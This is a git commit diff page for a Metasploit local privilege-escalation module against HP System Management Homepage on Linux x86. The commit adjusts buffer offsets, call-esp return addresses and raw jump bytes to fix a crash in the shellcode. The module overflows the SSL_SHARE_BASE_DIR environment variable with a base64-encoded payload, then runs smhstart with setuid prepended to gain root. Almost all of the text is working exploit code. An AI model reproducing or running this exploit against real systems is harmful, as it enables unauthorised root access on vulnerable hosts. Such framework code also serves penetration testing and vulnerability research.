decrement esp to fix crash in the middle of shellcode
parent
30111e3d8b
commit
7359151c14
|
@ -41,7 +41,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 227,
|
||||
|
@ -57,17 +57,21 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'CallEsp' => 0x080c86eb, #call esp
|
||||
'Offset' => 64
|
||||
'Offset' => 58
|
||||
}
|
||||
],
|
||||
[ 'Hpsmh 7.1.2',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'CallEsp' => 0x080c8b9b, #call esp
|
||||
'Offset' => 64
|
||||
'Offset' => 58
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PrependSetuid' => true
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => "Mar 30 2013",
|
||||
}
|
||||
|
@ -81,9 +85,9 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
pl = payload.encoded
|
||||
padding = rand_text_alpha(target['Offset'])
|
||||
ret = [target['CallEsp']].pack('V')
|
||||
exploit = Rex::Text.encode_base64("#{pl}#{ret}\xe8\x14\xff\xff\xff#{padding}")
|
||||
exploit = Rex::Text.encode_base64("#{pl}#{ret}\x81\xc4\x11\xff\xff\xff\xe9\x0e\xff\xff\xff#{padding}")
|
||||
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit}' | base64 -d)")
|
||||
puts cmd_exec("#{datastore['smhstartDir']}/smhstart")
|
||||
cmd_exec("#{datastore['smhstartDir']}/smhstart")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue